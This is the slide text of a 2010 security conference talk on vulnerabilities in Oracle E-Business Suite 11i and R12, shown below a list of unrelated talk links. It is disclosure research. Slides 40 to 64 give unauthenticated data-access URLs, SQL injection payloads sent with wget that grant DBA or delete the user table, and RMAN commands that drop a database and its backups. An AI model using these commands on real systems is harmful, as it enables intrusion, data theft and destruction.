Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by ShapeBlue
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
ShapeBlue206 views
"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays56 views
Why and How CloudStack at weSystems - Stephan Bienek - weSystems by ShapeBlue
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsWhy and How CloudStack at weSystems - Stephan Bienek - weSystems
Why and How CloudStack at weSystems - Stephan Bienek - weSystems
ShapeBlue238 views
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda... by ShapeBlue
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
ShapeBlue161 views
DRBD Deep Dive - Philipp Reisner - LINBIT by ShapeBlue
DRBD Deep Dive - Philipp Reisner - LINBITDRBD Deep Dive - Philipp Reisner - LINBIT
DRBD Deep Dive - Philipp Reisner - LINBIT
ShapeBlue180 views
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue by ShapeBlue
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlueMigrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue
ShapeBlue218 views
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ... by ShapeBlue
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
ShapeBlue166 views
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by ShapeBlue
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
ShapeBlue106 views
TrustArc Webinar - Managing Online Tracking Technology Vendors_ A Checklist f... by TrustArc
TrustArc Webinar - Managing Online Tracking Technology Vendors_ A Checklist f...TrustArc Webinar - Managing Online Tracking Technology Vendors_ A Checklist f...
TrustArc Webinar - Managing Online Tracking Technology Vendors_ A Checklist f...
TrustArc170 views
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ... by ShapeBlue
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
ShapeBlue184 views
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit... by ShapeBlue
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
ShapeBlue159 views
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti... by ShapeBlue
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...
ShapeBlue139 views
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue by ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
ShapeBlue147 views
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue by ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlueCloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
ShapeBlue135 views
The Power of Heat Decarbonisation Plans in the Built Environment by IES VE
The Power of Heat Decarbonisation Plans in the Built EnvironmentThe Power of Heat Decarbonisation Plans in the Built Environment
The Power of Heat Decarbonisation Plans in the Built Environment
IES VE79 views
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T by ShapeBlue
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&TCloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T
ShapeBlue152 views

Joxean Koret - Hackproofing Oracle Financials 11i & R12 [RootedCON 2010]

  • 1. Hackproofing Oracle Financials Vulnerabilities in Oracle E-Business Suite R12 Vulnerabilities in Oracle Financials - Joxean Koret
  • 2. What is Oracle Financials? Is an Enterprise Resource Planing product (ERP) The names Oracle E-Business Suite, Oracle Applications, Oracle Financials, etc... does refer to the same product Vulnerabilities in Oracle Financials - Joxean Koret
  • 3. ERP Statistics As of 2005, SAP and Oracle Applications were the most deployed Vulnerabilities in Oracle Financials - Joxean Koret
  • 4. Market Share Vulnerabilities in Oracle Financials - Joxean Koret
  • 5. Market Share Vulnerabilities in Oracle Financials - Joxean Koret
  • 6. Market Share Vulnerabilities in Oracle Financials - Joxean Koret
  • 7. Market Share Vulnerabilities in Oracle Financials - Joxean Koret
  • 8. Who is using Oracle Financials? Very large list of customers http://www.oracle.com/customers/products/financials2.html In short... Militars & Governments, i.e.: North Atlantic Treaty Organization (NATO) Banks Airways & Airlines Petrochemical companies Hospitals ... Vulnerabilities in Oracle Financials - Joxean Koret
  • 9. Some well known customers Marvel, Banque de France, U.S. Airways, U.S. Navy, U.S. Army, Mitsubishi, Airtel, NH Hotels, Canon, EMC Corporation, Flemish Government, Fujitsu, Toshiba, Google Inc, Unisys, U.S. Postal Service, Toyota, General Electrics, Dubai's Government, Oracle itself, etc... Enough (and interesting) customers to care about ;) Vulnerabilities in Oracle Financials - Joxean Koret
  • 10. About the talk What are we going to covert in this talk? Architecture overview (Basic Concepts + Brief introduction) Components (11i & R12) Design flaws Vulnerabilities How to own Vulnerabilities in Oracle Financials - Joxean Koret
  • 11. Architecture Overview Vulnerabilities in Oracle Financials - Joxean Koret
  • 12. Architecture: Attacker's point of view Applications Server's components Web Server, Forms Server (& Reports Server) But Reports is not always available from internet JSP, Servlets, CGIs and ”the” PL/SQL Gateway PL/SQL Gateway removed in R12 due to many security problems Database Server's components Data PL/SQL software Vulnerabilities in Oracle Financials - Joxean Koret
  • 13. Basic Concepts Forms Server Java Applet that communicates (via HTTP in the latest versions) with the application server Used to show GUIs Reports Server The same but only for reports PL/SQL Gateway A way to execute PL/SQL code directly from a browser, like a CGI but inside the database Vulnerabilities in Oracle Financials - Joxean Koret
  • 14. Information Gathering Vulnerabilities in Oracle Financials - Joxean Koret
  • 15. Information Gathering Oracle Financials 11i http://middletier/pls/DAD/fnd_web.ping Oracle Financials R12 PL/SQL Gateway removed, URL changed to: http://middletier/OA_HTML/jsp/fnd/fndping.jsp What information we get this way? Vulnerabilities in Oracle Financials - Joxean Koret
  • 16. Information Gathered Vulnerabilities in Oracle Financials - Joxean Koret
  • 17. Information Gathering Install Path Disclosure Vulnerabilities in Oracle Financials - Joxean Koret
  • 18. Install Path Disclosure The script /OA_HTML/biserror.jsp receives a parameter called ”DBC” (DataBase Configuration) Is a file in the middle-tier with information regarding the database address, etc... It reveals the installation path when a non-existent DBC file is given to script Vulnerabilities in Oracle Financials - Joxean Koret
  • 19. Installation Path Disclosure Vulnerabilities in Oracle Financials - Joxean Koret
  • 20. Information Gathering The information retrieval (sometimes) is vital for succesful intrusions Databases's SID and schema (commonly APPS) It's also typical to host multiple Oracle Financials instances in the same machine: /d01/apps/r12 /d02/apps/r11 You must know the operating system to completely own the system Vulnerabilities in Oracle Financials - Joxean Koret
  • 21. Vulnerabilities Vulnerabilities in Oracle Financials - Joxean Koret
  • 22. Vulnerabilities by component Middle-tier Oracle Forms PL/SQL gateway (only in version 11i) JSP Database backend Oracle Database Middle-tier (again) The Printers From Hell Vulnerabilities in Oracle Financials - Joxean Koret
  • 23. Vulnerabilities: Cross Site Scripting Oracle Financials is full of XSS vulnerabilities In example, the script biserror.jsp is designed to show an error page with a custom message The message text can be HTML code By design! Vulnerabilities in Oracle Financials - Joxean Koret
  • 24. XSS in biserror.jsp Vulnerabilities in Oracle Financials - Joxean Koret
  • 25. Vulnerabilities Cross Site Scripting vulnerabilities can only be usefull (when you do not have real exploits) for: Session hijacking Phissing Manipulating admin panels Etc... However, there are many very interesting vulnerabilities in Oracle Financials so, ignore XSS ;) Vulnerabilities in Oracle Financials - Joxean Koret
  • 26. Mistakes The very first vulnerability I found in Oracle Financials 11i was only applicable to AIX (unfortunately) The SYSADMIN has the responsibility (role) SYSADMIN Looking for other users with the same responsibility... ... Vulnerabilities in Oracle Financials - Joxean Koret
  • 27. Mistakes The very first vulnerability I found in Oracle Financials 11i was only applicable to AIX (unfortunately) The SYSADMIN has the responsibility (role) SYSADMIN Looking for other users with the same responsibility... The GUEST user appears! So any GUEST user is, in fact, SYSADMIN!!! Cool! Applicable to all Oracle Apps. 11i versions for AIX Vulnerabilities in Oracle Financials - Joxean Koret
  • 28. For the developers... Vulnerabilities in Oracle Financials - Joxean Koret
  • 29. Oracle Forms One of the more interesting vulnerabilities is in the Oracle Forms Listener. Whenever a new user wants to connect to Oracle Forms via web, a Login Form is shown Is a Java Applet Vulnerabilities in Oracle Financials - Joxean Koret
  • 30. The Login Form Vulnerabilities in Oracle Financials - Joxean Koret
  • 31. Oracle Forms Listener But, how is the form loaded? What parameters are given from the browser to the server if any? Remember, it's a Java applet that communicates with the application server Vulnerabilities in Oracle Financials - Joxean Koret
  • 32. Oracle Forms Listener Answer: Vulnerabilities in Oracle Financials - Joxean Koret
  • 33. Oracle Forms Listener So, again, we have another installation path disclosure but, wait... What if you're able to upload a new form to the server, to a temporary path, in example? The form will be executed before doing logon Possible temporary paths: /incoming /tmp Vulnerabilities in Oracle Financials - Joxean Koret
  • 34. Oracle Forms Listener The source code of almost every form in Oracle Financials is available: Source code for login form is in $FND_TOP/US/FNDSCSGN.fmb Vulnerabilities in Oracle Financials - Joxean Koret
  • 35. Oracle Forms Source $ cd $FND_TOP $ pwd /u03/oracle/prodappl/fnd/11.5.0/ $ cd forms $ ls E US $ ls US/ APPTREE.fmx FNDATENT.fmx FNDCPDIA.fmx FNDCUSTM.fmx FNDFFMIS.fmx FNDFMFUN.fmx FNDPOMPV.fmx FNDSCAUS.fmx FNDSNDSQ.fmx FNDADDSQ.fmx FNDATFUN.fmx FNDCPDPD.fmx FNDFBMAS.fmx FNDFFMSA.fmx FNDLVMLU.fmx FNDPOMSV.fmx FNDSCDDG.fmx TEMPLATE.fmx (...) Vulnerabilities in Oracle Financials - Joxean Koret
  • 36. Old Vulnerabilities: PL/SQL Gateway In the prior version (Oracle Financials 11i) almost all the vulnerabilities I found were SQL Injection or ”mistakes” Thanks to the PL/SQL Gateway I'm going to tell you about various of them Sorry, no demo for this version :( Vulnerabilities in Oracle Financials - Joxean Koret
  • 37. The PL/SQL Gateway What is the PL/SQL Gateway? Is a way to directly execute PL/SQL code in the database via a browser Vulnerabilities in Oracle Financials - Joxean Koret
  • 38. The PL/SQL Gateway What is the PL/SQL Gateway? Is a way to directly execute PL/SQL code in the database via a browser ”Where you see a feature I see a flaw!” What if the PL/SQL code contains vulnerabilities? Vulnerabilities in Oracle Financials - Joxean Koret
  • 39. The PL/SQL Gateway Remember, the PL/SQL Gateway is a way to directly execute PL/SQL code in the database via a browser ”Where you see a feature I see a flaw!” What if the PL/SQL code contains vulnerabilities? You're running code directly in the database You can run any procedure granted to public A lot of them, about thousands in total Cool! Vulnerabilities in Oracle Financials - Joxean Koret
  • 40. Some reported & fixed vulnerabilities http://<target>/pls/<DAD>/ADI_display_report. DisplayFile?P_DOCID=<doc id> http://<target>/pls/<DAD>/ADI_BINARY_FILE. Show?p_DocumentId=<doc id> Download any document stored in the ERP (contracts, etc...) without being authenticated Just brute force the doc_id and that's all Vulnerabilities in Oracle Financials - Joxean Koret
  • 41. PL/SQL Gateway But, wait! I don't know the DAD? OK, simply navigate with your browser to the following location: http://<target>:<port>/pls/ You will be redirected to the URL /pls/DAD/fnd_web.ping In Oracle Apps since 11.5.10.2 you will get the message ”Unauthorized” But, well, when accessing to the URL you were redirected to... Vulnerabilities in Oracle Financials - Joxean Koret
  • 42. More vulnerabilities in Apps 11i How can I see the complete list of customers and contacts of my adversary corporation? Vulnerabilities in Oracle Financials - Joxean Koret
  • 43. More vulnerabilities in Apps 11i How can I see the complete list of customers and contacts of my adversary corporation? Easy! The following URL is your answer: /pls/<DAD>/ICXSUPWF.DISPLAYCONTACTS No check for valid session, valid privileges, etc... The complete list of customers and contacts is printed in the web page Cool++! Vulnerabilities in Oracle Financials - Joxean Koret
  • 44. SQL Injection Another vulnerable package (the name says that it's surely vulnerable) /pls/DAD/ICX_UTIL.LOVVALUES A LOV, in Oracle language, is a List Of Values Typically, an SQL query to show some data The script receives 2 cool parameters: c_where_clause & c_js_where_clause Guess what is the purpose of the parameters? Cool^2 Vulnerabilities in Oracle Financials - Joxean Koret
  • 45. Returning back to ICXSUPWF.DISPLAYCONTACTS Do you remember the package to download the complete customer's list? Well, this package also receives a seemingly equal parameter: p_where Of course, this is one SQL's where clause Vulnerabilities in Oracle Financials - Joxean Koret
  • 46. Sufficient SQL Injections OK, we have sufficient ”SQL injections?” (or design flaws?) for now but, what can I do with them? Well, some facts: You're running your SQL code as the APPS user The APPS user is the owner of the ERP's data So you're the new owner of the data :) Also, the APPS user has granted the DBA role So you're also the new DBA Vulnerabilities in Oracle Financials - Joxean Koret
  • 47. Oracle Database User APPS Running SQL code as any DBA you can do whatever you want as, in example: Create a Java procedure to execute OS commands and to connect back to you Create a PL/SQL backdoor to make ”easier?” executing new commands Execute a funny OS + RMAN command: $ rman target / rman> sql 'shutdown abort' rman> drop database including backups noprompt; And kill her wife if possible Vulnerabilities in Oracle Financials - Joxean Koret
  • 48. Oracle Financials R12 I think that I showed sufficient (old, fixed) Oracle Apps 11i vulnerabilities Now, it's time for Oracle Applications R12 Vulnerabilities in Oracle Financials - Joxean Koret
  • 49. Oracle Applications R12: Changes In this version Oracle removed the PL/SQL Gateway No fun :( But they ported almost all the packages to JSP So the unique change for us is that we don't need a DAD this time, we already know the complete URL to access every JSP http://<target>:<port>/OA_HTML/<yourjsp.jsp> Vulnerabilities in Oracle Financials - Joxean Koret
  • 50. Oracle Applications R12: Changes In this version they check in almost all JSP scripts for a valid session, except for allowed to GUEST applications However, we can still get fun ;) Vulnerabilities in Oracle Financials - Joxean Koret
  • 51. Establishing a GUEST session To establish a GUEST session you just need to navigate to any ”allowed to GUEST” jsp and, automagically, a new session will be created for you Vulnerabilities in Oracle Financials - Joxean Koret
  • 52. Guest Sessions When you want to do logon via the web page you're received with a web page similar if not equal to the following one: Vulnerabilities in Oracle Financials - Joxean Koret
  • 53. Guest Sessions When you do logon correctly you're redirected to the following web page: Vulnerabilities in Oracle Financials - Joxean Koret
  • 54. Guest Sessions If you navigate (before doing logon) directly to this web page an exception occurs but a new GUEST session gets created. Vulnerabilities in Oracle Financials - Joxean Koret
  • 55. Servlet's Source Code Vulnerabilities in Oracle Financials - Joxean Koret
  • 56. Guest Sessions With a valid GUEST session we can, now, access any JSP. But some of them will check if we have the correct privileges or simply fail because we're not SYSADMIN, etc... Anyway, our attack vector has significantly increased :) Vulnerabilities in Oracle Financials - Joxean Koret
  • 57. Oracle Financials R12 OK so... Do you remember the flaws where you can inject any where clause in Oracle Apps 11i? Well, Oracle always surprised me... Vulnerabilities in Oracle Financials - Joxean Koret
  • 58. Oracle Applications R12 In this version they added a cool script called jtfwcpnt.jsp. It is a component of the Oracle Financials CRM In Oracle words: “A Card Paint to display cards in Smart List Search” Questions to Larry Ellison, plz! The script is completely flawed. Vulnerabilities in Oracle Financials - Joxean Koret
  • 59. jtfwcpnt.jsp This cool script receives one interesting parameter: query Do I need to explain something else? Vulnerabilities in Oracle Financials - Joxean Koret
  • 60. jtfwcpnt.jsp This cool script receives one interesting parameter: query Do I need to explain something else? Let's see a very complicated exploit... Vulnerabilities in Oracle Financials - Joxean Koret
  • 61. jtfwcnpt.jsp 0days 3xpl01ts $ export TARGET=”http://<target>:<port>/OA_HTML” $ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20' grant%20dba%20to%20mom';%20end;” $ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20' delete%20from%20apps.fnd_user';%20commit;end;” Vulnerabilities in Oracle Financials - Joxean Koret
  • 62. Creating a new SYSADMIN user We're running code as the APPS user so, again, we're the new owner of the data So we can, in example, create a new SYSADMIN like user: Vulnerabilities in Oracle Financials - Joxean Koret
  • 63. Vulnerabilities in Oracle Financials - Joxean Koret
  • 64. Responsibilities Running this PL/SQL code via the jtfwcpnt.jsp script we create a new user and assign 2 responsibilities: 20420 – System Administrator (SYSADMIN) 20872 – System Administration Vulnerabilities in Oracle Financials - Joxean Koret
  • 65. Owning by tiers Abusing from this flaw we gained access to the database backend If we just want to extract some data, we're done, delete the created user and that's all However, if we want to continue owning all the rest of the tiers we need to find a way to execute code also in the middle-tier Remember, we gained access to the database and it will be in a different box :( Vulnerabilities in Oracle Financials - Joxean Koret
  • 66. Gaining Access to the Middle-tiers How can we gain access to the middle-tiers? Checked for a flawed JSP that writes something to disk, but nothing was found Checked also for Runtime.getRuntime() and so on: No luck :( Vulnerabilities in Oracle Financials - Joxean Koret
  • 67. Gaining Access to the Middle-tiers How can we gain access to the middle-tiers? Checked for a flawed JSP that writes something to disk, but nothing was found Checked also for Runtime.getRuntime() and so on: No luck :( But found a funny technique: The Printer From Hell Vulnerabilities in Oracle Financials - Joxean Koret
  • 68. The Printers From Hell Vulnerabilities in Oracle Financials - Joxean Koret
  • 69. The Printer From Hell Oracle Applications Server is a web based application It's designed to be used by big companies either connected from LAN or from Internet They designed a way to print to one system administrator specified printer from anywhere But, how are the printers configured? Administrator does this via the ERP or directly inserting into the database Vulnerabilities in Oracle Financials - Joxean Koret
  • 70. The Printer From Hell Vulnerabilities in Oracle Financials - Joxean Koret
  • 71. The Printer From Hell We have a ”printer coming from hell”, just print something using the ERP or the PL/SQL packages and you're done Vulnerabilities in Oracle Financials - Joxean Koret
  • 72. The Printer From Hell We have a ”printer coming from hell”, just print something using the ERP or the PL/SQL packages and you're done Th3 c0mpl3t3 $y$t3m w4$ 0wN3|) Vulnerabilities in Oracle Financials - Joxean Koret
  • 73. However... We're running code as the ”oracle” OS level user but I know no way to scalate to root :( Well, if the database server is not correctly patched we can always use the ”extjob” suid tool Vulnerability CVE-2008-2613 But, what if the system is a Win32 box? Don't worry! You're already running code as Local System :) Vulnerabilities in Oracle Financials - Joxean Koret
  • 74. Conclussions Vulnerabilities in Oracle Financials - Joxean Koret
  • 75. Oracle Financials R12 It's getting better in some aspects but there are plenty of quite stupid vulnerabilities It's OK (in my opinion) to run it in our companies as an intranet application but you should take care opening connectivity to Oracle Financials from Internet IMHO... Vulnerabilities in Oracle Financials - Joxean Koret
  • 76. Final Conclussion? Vulnerabilities in Oracle Financials - Joxean Koret
  • 77. The End ● Thanks you folks! Vulnerabilities in Oracle Financials - Joxean Koret